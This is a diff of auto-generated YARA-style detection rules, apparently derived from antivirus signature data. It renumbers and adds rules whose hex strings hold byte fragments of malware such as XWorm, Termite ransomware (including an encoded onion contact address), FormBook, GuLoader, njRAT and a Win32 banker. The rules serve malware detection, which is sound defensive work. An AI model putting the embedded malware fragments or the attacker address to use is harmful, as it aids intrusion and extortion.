90 00 01 00 1b 03 d1 ee 8d 57 08 74 90 01 01 8b 7d 0c 0f b7 02 4e 8b c8 c1 e9 0c 49 83 f9 09 90 00 00 00 78 } //18184 + $a_75_2 = {6e 65 72 5c 01 00 0a 00 6c 6f 61 64 65 72 2e 65 78 65 00 00 78 7d 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 42 41 47 21 4d 54 42 00 02 00 51 03 73 11 00 00 0a 13 04 38 00 00 00 00 00 11 04 11 } //23552 + $a_16_3 = {00 0a 13 05 38 00 00 00 00 00 73 08 00 00 0a 13 06 38 00 00 00 00 00 11 05 11 06 90 01 02 00 00 0a 38 00 00 00 00 11 06 90 01 02 00 00 0a 13 07 38 00 00 00 00 dd ca 00 00 00 90 00 00 00 78 7d 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 54 65 72 6d 69 74 65 2e 42 00 01 00 0e 01 53 75 70 70 6f 72 74 20 74 6f } //5635 + $a_3a_4 = {00 42 03 74 65 72 6d 69 74 65 75 73 6c 62 75 6d 64 67 65 32 7a 6d 66 6d 66 63 73 72 76 6d 76 73 66 65 34 67 76 79 75 64 63 35 6a 36 63 64 6e 69 73 6e 68 74 66 74 76 6f 6b 69 64 2e 6f 6e 69 90 01 01 6e 90 00 00 00 78 7d 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 55 72 73 6e 69 66 3a 4c 6f 61 64 65 72 00 01 00 43 01 44 3a 28 44 3b } //25963 + $a_49_5 = {47 41 3b 3b 3b 42 47 29 28 44 3b 4f 49 43 49 3b 47 41 3b 3b 3b 41 4e 29 28 41 3b 4f 49 43 49 3b 47 41 3b 3b 3b 41 55 29 28 41 3b 4f 49 43 49 3b 47 41 3b 3b 3b 42 41 29 00 01 00 16 01 8b 08 69 c9 0d 66 } //18767 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29285+(#a_75_2 & 1)*23552+(#a_69_3 & 1)*29285+(#a_47_4 & 1)*15163+(#a_08_5 & 1)*18184) >=1 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29285+(#a_75_2 & 1)*23552+(#a_16_3 & 1)*5635+(#a_3a_4 & 1)*25963+(#a_49_5 & 1)*18767) >=1 } -rule _InfrastructureShared_7999{ +rule _InfrastructureShared_8467{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 42 41 47 21 4d 54 42 00 02 00 51 03 73 11 00 00 0a 13 04 38 00 00 00 00 00 11 04 11 03 16 73 16 00 00 0a 13 05 38 00 00 00 00 00 73 08 00 00 0a 13 06 38 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_8468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -84596,7 +89616,7 @@ rule _InfrastructureShared_7999{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*26420) >=2 } -rule _InfrastructureShared_8000{ +rule _InfrastructureShared_8469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -84607,7 +89627,7 @@ rule _InfrastructureShared_8000{ ((#a_46_0 & 1)*16675+(#a_3b_1 & 1)*16711) >=2 } -rule _InfrastructureShared_8001{ +rule _InfrastructureShared_8470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -84618,7 +89638,7 @@ rule _InfrastructureShared_8001{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*0) >=2 } -rule _InfrastructureShared_8002{ +rule _InfrastructureShared_8471{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -84628,7 +89648,7 @@ rule _InfrastructureShared_8002{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_8003{ +rule _InfrastructureShared_8472{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -84638,7 +89658,7 @@ rule _InfrastructureShared_8003{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_8004{ +rule _InfrastructureShared_8473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -84649,7 +89669,7 @@ rule _InfrastructureShared_8004{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*67) >=2 } -rule _InfrastructureShared_8005{ +rule _InfrastructureShared_8474{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -84660,7 +89680,7 @@ rule _InfrastructureShared_8005{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-28561) >=2 } -rule _InfrastructureShared_8006{ +rule _InfrastructureShared_8475{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -84672,7 +89692,7 @@ rule _InfrastructureShared_8006{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*11890+(#a_78_2 & 1)*27753) >=2 } -rule _InfrastructureShared_8007{ +rule _InfrastructureShared_8476{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -84684,7 +89704,7 @@ rule _InfrastructureShared_8007{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=2 } -rule _InfrastructureShared_8008{ +rule _InfrastructureShared_8477{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -84698,7 +89718,7 @@ rule _InfrastructureShared_8008{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_7d_3 & 1)*0+(#a_65_4 & 1)*25441) >=2 } -rule _InfrastructureShared_8009{ +rule _InfrastructureShared_8478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -84709,7 +89729,7 @@ rule _InfrastructureShared_8009{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28005) >=3 } -rule _InfrastructureShared_8010{ +rule _InfrastructureShared_8479{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -84720,7 +89740,7 @@ rule _InfrastructureShared_8010{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*83) >=3 } -rule _InfrastructureShared_8011{ +rule _InfrastructureShared_8480{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -84732,7 +89752,7 @@ rule _InfrastructureShared_8011{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*271+(#a_5b_2 & 1)*23133) >=3 } -rule _InfrastructureShared_8012{ +rule _InfrastructureShared_8481{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -84744,7 +89764,7 @@ rule _InfrastructureShared_8012{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 } -rule _InfrastructureShared_8013{ +rule _InfrastructureShared_8482{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -84756,7 +89776,7 @@ rule _InfrastructureShared_8013{ ((#a_77_0 & 1)*16675+(#a_00_1 & 1)*17983+(#a_65_2 & 1)*25957) >=3 } -rule _InfrastructureShared_8014{ +rule _InfrastructureShared_8483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -84768,43 +89788,66 @@ rule _InfrastructureShared_8014{ ((#a_6c_0 & 1)*16675+(#a_00_1 & 1)*28515+(#a_65_2 & 1)*26465) >=3 } -rule _InfrastructureShared_8015{ +rule _InfrastructureShared_8484{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_6c_0 = {77 4c 69 73 74 3a 4c 65 61 67 75 65 20 6f 66 20 4c 65 67 65 6e 64 73 00 01 00 0f 80 01 52 69 6f 74 20 47 61 6d 65 73 2c 20 49 6e 63 01 00 15 80 01 4c 65 61 67 75 65 20 6f 66 20 4c 65 67 65 6e 64 73 2e 65 78 65 01 00 24 80 01 52 69 6f 74 4c 6f 4c 5f 43 6c 69 65 6e 74 5c 4c 65 61 67 75 65 20 6f 66 20 4c 65 67 65 6e 64 73 2e } //16675 $a_00_1 = {00 78 7d 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 46 6f 72 6d 42 6f 6f 6b 2e 53 4d 30 36 30 32 32 33 21 4d 54 42 00 01 00 09 01 68 be 02 00 00 8b f0 ff d7 01 00 10 01 83 c4 24 6a 40 68 00 30 00 00 57 6a 00 ff 55 dc 01 00 2d 03 83 c4 10 33 f6 85 ff 74 22 b8 ab aa aa aa f7 } //25712 - $a_c1_2 = {03 8d 0c 52 c1 e1 02 2b c1 8a 80 90 02 03 00 30 04 33 46 3b f7 72 de 90 00 00 00 78 7d 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 46 6f 72 6d 42 6f 6f 6b 2e 53 4d 30 38 30 32 32 33 21 4d 54 42 00 01 00 09 01 68 be 02 00 00 8b f0 ff d7 01 00 0f 01 83 c4 24 6a 40 68 00 30 00 00 57 6a 00 ff 55 01 00 2e 03 83 c4 10 33 f6 85 ff 74 23 b8 ab aa aa aa f7 e6 c1 ea 03 8b c6 8d 0c 52 c1 e1 02 2b c1 46 8a 80 90 02 03 00 30 44 33 ff 3b f7 72 dd 90 00 00 00 78 7d 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 58 6d 6c 53 65 72 69 61 6c 47 61 64 67 65 74 4d 73 50 73 45 64 69 74 6f 72 } //-29722 + $a_c1_2 = {03 8d 0c 52 c1 e1 02 2b c1 8a 80 90 02 03 00 30 04 33 46 3b f7 72 de 90 00 00 00 78 7d 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 46 6f 72 6d 42 6f 6f 6b 2e 53 4d 30 38 30 32 32 33 21 4d 54 42 00 01 00 09 01 68 be 02 00 00 8b f0 ff d7 01 00 0f 01 83 c4 24 6a 40 68 00 30 00 00 57 6a 00 ff 55 01 00 2e 03 83 c4 10 33 f6 85 ff 74 23 b8 ab aa aa aa f7 e6 c1 ea 03 8b c6 8d 0c 52 c1 e1 02 2b c1 46 8a 80 90 02 03 00 30 44 33 ff 3b f7 72 dd 90 00 00 00 78 7d 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 52 4b 48 31 32 21 4d 54 42 00 } //-29722 condition: ((#a_6c_0 & 1)*16675+(#a_00_1 & 1)*25712+(#a_c1_2 & 1)*-29722) >=3 } -rule _InfrastructureShared_8016{ +rule _InfrastructureShared_8485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 46 6f 72 6d 42 6f 6f 6b 2e 53 4d 30 36 30 32 32 33 21 4d 54 42 00 01 00 09 01 68 be 02 00 00 8b f0 ff d7 01 00 10 01 83 c4 24 6a 40 68 00 30 00 00 57 6a 00 ff 55 dc 01 00 2d 03 83 c4 10 33 f6 85 ff 74 22 b8 ab aa aa aa f7 e6 8b } //18467 - $a_03_1 = {8d 0c 52 c1 e1 02 2b c1 8a 80 90 02 03 00 30 04 33 46 3b f7 72 de 90 00 00 00 78 7d 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 46 6f 72 6d 42 6f 6f 6b 2e 53 4d 30 38 30 32 32 33 21 4d 54 42 00 01 00 09 01 68 be 02 00 00 8b f0 ff d7 01 00 0f 01 83 c4 24 6a 40 68 00 30 00 00 57 6a 00 ff 55 01 00 2e 03 83 c4 10 33 f6 85 ff 74 23 b8 ab aa aa aa f7 e6 c1 ea 03 8b c6 8d 0c 52 c1 e1 02 2b c1 46 8a 80 90 02 03 00 30 44 33 ff 3b f7 72 dd 90 00 00 00 78 7d 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 58 6d 6c 53 65 72 69 61 6c 47 61 64 67 65 74 4d 73 50 73 45 64 69 74 6f 72 00 01 00 1b 80 01 74 65 78 74 66 6f 72 6d 61 74 74 69 6e 67 72 75 6e 70 72 6f 70 65 72 74 69 65 73 01 00 1b 80 } //-15930 - $a_63_2 = {6f 73 6f 66 74 2e 70 6f 77 65 72 73 68 65 6c 6c 2e 65 64 69 74 6f 72 01 00 0f 80 01 66 6f 72 65 67 72 6f 75 6e 64 62 72 75 73 68 00 00 78 7d 00 00 03 00 03 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 49 6e 6a 65 63 74 6f 72 2e 53 54 41 00 01 00 0f 03 02 02 8e 69 17 da 91 1f ?? 61 16 } //27905 + $a_03_1 = {8d 0c 52 c1 e1 02 2b c1 8a 80 90 02 03 00 30 04 33 46 3b f7 72 de 90 00 00 00 78 7d 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 46 6f 72 6d 42 6f 6f 6b 2e 53 4d 30 38 30 32 32 33 21 4d 54 42 00 01 00 09 01 68 be 02 00 00 8b f0 ff d7 01 00 0f 01 83 c4 24 6a 40 68 00 30 00 00 57 6a 00 ff 55 01 00 2e 03 83 c4 10 33 f6 85 ff 74 23 b8 ab aa aa aa f7 e6 c1 ea 03 8b c6 8d 0c 52 c1 e1 02 2b c1 46 8a 80 90 02 03 00 30 44 33 ff 3b f7 72 dd 90 00 00 00 78 7d 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 52 4b 48 31 32 21 4d 54 42 00 01 00 1c 81 01 64 65 70 65 63 68 65 20 66 6f 72 76 69 73 65 72 20 69 6e 63 69 6e 65 72 61 74 65 64 01 00 1e 81 } //-15930 + $a_62_2 = {6e 67 20 6d 69 6e 65 72 61 6c 69 73 61 74 69 6f 6e 20 66 65 72 72 79 6d 65 6e 01 00 0c 81 01 70 69 6c 66 65 72 65 72 2e 65 78 65 00 00 78 7d 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 57 30 31 21 4d 54 42 00 01 00 11 81 01 68 61 6c 76 6c 65 64 65 72 62 72 61 6e 63 68 65 6e 01 } //29953 condition: - ((#a_54_0 & 1)*18467+(#a_03_1 & 1)*-15930+(#a_63_2 & 1)*27905) >=3 + ((#a_54_0 & 1)*18467+(#a_03_1 & 1)*-15930+(#a_62_2 & 1)*29953) >=3 } -rule _InfrastructureShared_8017{ +rule _InfrastructureShared_8486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 46 6f 72 6d 42 6f 6f 6b 2e 53 4d 30 38 30 32 32 33 21 4d 54 42 00 01 00 09 01 68 be 02 00 00 8b f0 ff d7 01 00 0f 01 83 c4 24 6a 40 68 00 30 00 00 57 6a 00 ff 55 01 00 2e 03 83 c4 10 33 f6 85 ff 74 23 b8 ab aa aa aa f7 e6 c1 ea } //18467 - $a_8d_1 = {52 c1 e1 02 2b c1 46 8a 80 90 02 03 00 30 44 33 ff 3b f7 72 dd 90 00 00 00 78 7d 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 58 6d 6c 53 65 72 69 61 6c 47 61 64 67 65 74 4d 73 50 73 45 64 69 74 6f 72 00 01 00 1b 80 01 74 65 78 74 66 6f 72 6d 61 74 74 69 6e 67 72 75 6e 70 72 6f 70 65 72 74 69 65 73 01 00 1b 80 01 6d 69 63 72 6f 73 6f 66 74 2e 70 6f 77 65 72 73 68 65 6c 6c 2e 65 64 69 74 6f 72 01 00 0f 80 01 66 6f 72 65 67 72 6f 75 6e 64 62 72 75 73 68 00 00 78 7d 00 00 03 00 03 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 49 6e 6a 65 63 74 6f 72 2e 53 54 41 00 01 00 0f } //-29949 - $a_8e_2 = {17 da } //515 + $a_8d_1 = {52 c1 e1 02 2b c1 46 8a 80 90 02 03 00 30 44 33 ff 3b f7 72 dd 90 00 00 00 78 7d 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 52 4b 48 31 32 21 4d 54 42 00 01 00 1c 81 01 64 65 70 65 63 68 65 20 66 6f 72 76 69 73 65 72 20 69 6e 63 69 6e 65 72 61 74 65 64 01 00 1e 81 01 75 6e 62 75 6e 67 20 6d 69 6e 65 72 61 6c 69 73 61 74 69 6f 6e 20 66 65 72 72 79 6d 65 6e 01 00 0c 81 01 70 69 6c 66 65 72 65 72 2e 65 78 65 00 00 78 7d 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 57 30 31 21 4d 54 42 00 01 00 } //-29949 + $a_68_2 = {6c } //-32495 l condition: - ((#a_54_0 & 1)*18467+(#a_8d_1 & 1)*-29949+(#a_8e_2 & 1)*515) >=3 + ((#a_54_0 & 1)*18467+(#a_8d_1 & 1)*-29949+(#a_68_2 & 1)*-32495) >=3 } -rule _InfrastructureShared_8018{ +rule _InfrastructureShared_8487{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 52 4b 48 31 32 21 4d 54 42 00 01 00 1c 81 01 64 65 70 65 63 68 65 20 66 6f 72 76 69 73 65 72 20 69 6e 63 69 6e 65 72 61 74 65 64 01 00 1e 81 01 75 6e 62 75 6e 67 20 6d 69 6e 65 72 61 6c 69 73 61 74 69 } //18467 + $a_66_1 = {72 72 79 6d 65 6e 01 00 0c 81 01 70 69 6c 66 65 72 65 72 2e 65 78 65 00 00 78 7d 00 00 03 00 03 } //28271 + condition: + ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*28271) >=3 + +} +rule _InfrastructureShared_8488{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 57 30 31 21 4d 54 42 00 01 00 11 81 01 68 61 6c 76 6c 65 64 65 72 62 72 61 6e 63 68 65 6e 01 00 11 81 01 61 6c 62 79 6c 65 6e 73 20 73 6b 69 61 74 72 6f 6e 01 00 24 81 01 62 6c 61 73 70 68 65 6d } //18467 + $a_6e_1 = {73 73 20 63 6c 6f 73 65 73 74 20 70 75 70 69 6c 6c 6f 73 63 6f 70 79 00 00 78 7d 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 58 6d 6c 53 65 72 69 61 6c 47 61 64 67 65 74 4d 73 50 73 45 64 69 74 6f 72 00 01 00 1b 80 01 74 65 78 74 66 6f 72 6d 61 74 74 69 6e 67 72 75 6e 70 72 6f 70 65 72 74 69 65 73 01 00 1b 80 01 6d 69 63 72 6f 73 6f 66 74 2e } //30063 + $a_65_2 = {73 68 65 6c 6c 2e 65 64 69 74 6f 72 01 00 0f 80 01 66 6f 72 65 67 72 6f 75 6e 64 62 72 75 73 68 00 00 78 7d 00 00 03 00 03 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 49 6e 6a 65 63 74 6f 72 2e 53 54 41 00 01 00 0f 03 02 02 8e 69 17 da 91 1f 90 01 01 61 16 90 00 01 00 13 01 11 06 02 11 06 91 08 61 07 11 04 91 61 b4 9c 11 04 03 6f 01 00 } //28528 + condition: + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*30063+(#a_65_2 & 1)*28528) >=3 + +} +rule _InfrastructureShared_8489{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -84816,7 +89859,7 @@ rule _InfrastructureShared_8018{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*11884+(#a_11_2 & 1)*-19359) >=3 } -rule _InfrastructureShared_8019{ +rule _InfrastructureShared_8490{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -84829,7 +89872,7 @@ rule _InfrastructureShared_8019{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29806+(#a_65_2 & 1)*25857+(#a_00_3 & 1)*114) >=3 } -rule _InfrastructureShared_8020{ +rule _InfrastructureShared_8491{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -84842,7 +89885,7 @@ rule _InfrastructureShared_8020{ ((#a_77_0 & 1)*16675+(#a_74_1 & 1)*29285+(#a_72_2 & 1)*26465+(#a_00_3 & 1)*115) >=3 } -rule _InfrastructureShared_8021{ +rule _InfrastructureShared_8492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -84854,7 +89897,7 @@ rule _InfrastructureShared_8021{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*11890+(#a_00_3 & 1)*1) >=3 } -rule _InfrastructureShared_8022{ +rule _InfrastructureShared_8493{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -84866,7 +89909,7 @@ rule _InfrastructureShared_8022{ ((#a_4e_0 & 1)*20259+(#a_00_2 & 1)*101+(#a_76_3 & 1)*29264) >=3 } -rule _InfrastructureShared_8023{ +rule _InfrastructureShared_8494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -84879,7 +89922,7 @@ rule _InfrastructureShared_8023{ ((#a_41_0 & 1)*20515+(#a_65_1 & 1)*26962+(#a_2f_2 & 1)*9587+(#a_68_3 & 1)*400) >=3 } -rule _InfrastructureShared_8024{ +rule _InfrastructureShared_8495{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -84890,7 +89933,7 @@ rule _InfrastructureShared_8024{ ((#a_4c_0 & 1)*21539+(#a_74_3 & 1)*28265) >=3 } -rule _InfrastructureShared_8025{ +rule _InfrastructureShared_8496{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -84901,7 +89944,7 @@ rule _InfrastructureShared_8025{ ((#a_46_0 & 1)*16675+(#a_d1_1 & 1)*235) >=4 } -rule _InfrastructureShared_8026{ +rule _InfrastructureShared_8497{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -84911,7 +89954,7 @@ rule _InfrastructureShared_8026{ ((#a_4c_0 & 1)*21539) >=4 } -rule _InfrastructureShared_8027{ +rule _InfrastructureShared_8498{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -84923,7 +89966,7 @@ rule _InfrastructureShared_8027{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*28277+(#a_2f_2 & 1)*13102) >=4 } -rule _InfrastructureShared_8028{ +rule _InfrastructureShared_8499{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -84936,7 +89979,7 @@ rule _InfrastructureShared_8028{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*28777+(#a_00_2 & 1)*107+(#a_73_3 & 1)*29812) >=4 } -rule _InfrastructureShared_8029{ +rule _InfrastructureShared_8500{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -84948,7 +89991,7 @@ rule _InfrastructureShared_8029{ ((#a_5f_0 & 1)*16931+(#a_70_1 & 1)*16641+(#a_2f_2 & 1)*14963) >=4 } -rule _InfrastructureShared_8030{ +rule _InfrastructureShared_8501{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -84961,7 +90004,7 @@ rule _InfrastructureShared_8030{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*21249+(#a_01_2 & 1)*25710+(#a_6f_3 & 1)*385) >=4 } -rule _InfrastructureShared_8031{ +rule _InfrastructureShared_8502{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -84974,7 +90017,7 @@ rule _InfrastructureShared_8031{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29545+(#a_70_2 & 1)*-32495+(#a_20_3 & 1)*28530) >=4 } -rule _InfrastructureShared_8032{ +rule _InfrastructureShared_8503{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -84987,7 +90030,7 @@ rule _InfrastructureShared_8032{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*8300+(#a_00_2 & 1)*24930+(#a_79_3 & 1)*385) >=4 } -rule _InfrastructureShared_8033{ +rule _InfrastructureShared_8504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -85000,7 +90043,7 @@ rule _InfrastructureShared_8033{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_7d_2 & 1)*0+(#a_70_3 & 1)*30020) >=4 } -rule _InfrastructureShared_8034{ +rule _InfrastructureShared_8505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -85013,7 +90056,7 @@ rule _InfrastructureShared_8034{ ((#a_4e_0 & 1)*20259+(#a_65_1 & 1)*24933+(#a_00_2 & 1)*144+(#a_33_3 & 1)*-29949) >=4 } -rule _InfrastructureShared_8035{ +rule _InfrastructureShared_8506{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -85024,7 +90067,7 @@ rule _InfrastructureShared_8035{ ((#a_6f_0 & 1)*21539+(#a_41_3 & 1)*8448) >=4 } -rule _InfrastructureShared_8036{ +rule _InfrastructureShared_8507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -85033,12 +90076,12 @@ rule _InfrastructureShared_8036{ $a_61_1 = {2f 42 61 72 41 64 00 00 78 7d 00 00 04 00 04 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 61 74 68 75 6c 61 2e 41 21 } //20041 $a_00_2 = {01 00 08 01 62 6e 52 73 63 77 3d 3d 01 00 14 01 54 6d 56 30 64 32 39 79 61 79 42 54 5a 58 4a 32 61 57 4e 6c 01 00 0c 01 62 6e 52 73 63 33 5a 6a 63 77 3d 3d 01 00 0c 01 63 47 35 77 64 47 34 75 5a 47 78 73 01 00 0c 01 61 57 31 6e 4d 53 35 71 63 47 63 3d 00 00 78 7d 00 00 04 00 04 00 06 00 21 } //26724 $a_54_3 = {3a 49 6e 69 74 69 61 74 65 53 79 73 74 65 6d 53 68 75 74 64 6f 77 6e 41 21 53 68 65 6c 6c 43 6f 64 65 00 01 00 05 01 68 75 74 64 6f 01 00 05 01 68 65 6d 53 68 01 00 05 01 68 53 79 73 74 01 00 05 01 68 69 61 74 65 01 00 05 01 68 49 6e 69 74 04 00 19 } //18467 - $a_74_4 = {6f 68 65 6d 53 68 68 53 79 73 74 68 69 61 74 65 68 49 6e 69 74 00 00 04 00 78 7d 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 6e 6a 52 41 54 2e 4e 41 45 21 4d 54 42 00 02 00 24 81 01 32 36 38 66 32 32 31 30 2d 37 31 64 64 2d 34 33 37 63 2d 38 35 64 37 2d 37 62 66 32 65 62 36 32 32 64 66 30 01 00 0b 81 01 fe ff ff 04 } //26625 + $a_74_4 = {6f 68 65 6d 53 68 68 53 79 73 74 68 69 61 74 65 68 49 6e 69 74 00 00 04 00 78 7d 00 00 05 00 05 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 6e 6b 65 72 2e 4e 41 21 4d 54 42 00 03 00 2d 01 8d 8d 6c fd ff ff e8 7f 02 00 00 83 7d fc 40 75 0c 81 bd 6c fd ff ff 88 b1 d0 82 74 13 6a 00 8d 85 f8 fe ff ff 50 6a 0d e8 78 f9 ff ff } //26625 condition: ((#a_77_0 & 1)*16675+(#a_61_1 & 1)*20041+(#a_00_2 & 1)*26724+(#a_54_3 & 1)*18467+(#a_74_4 & 1)*26625) >=4 } -rule _InfrastructureShared_8037{ +rule 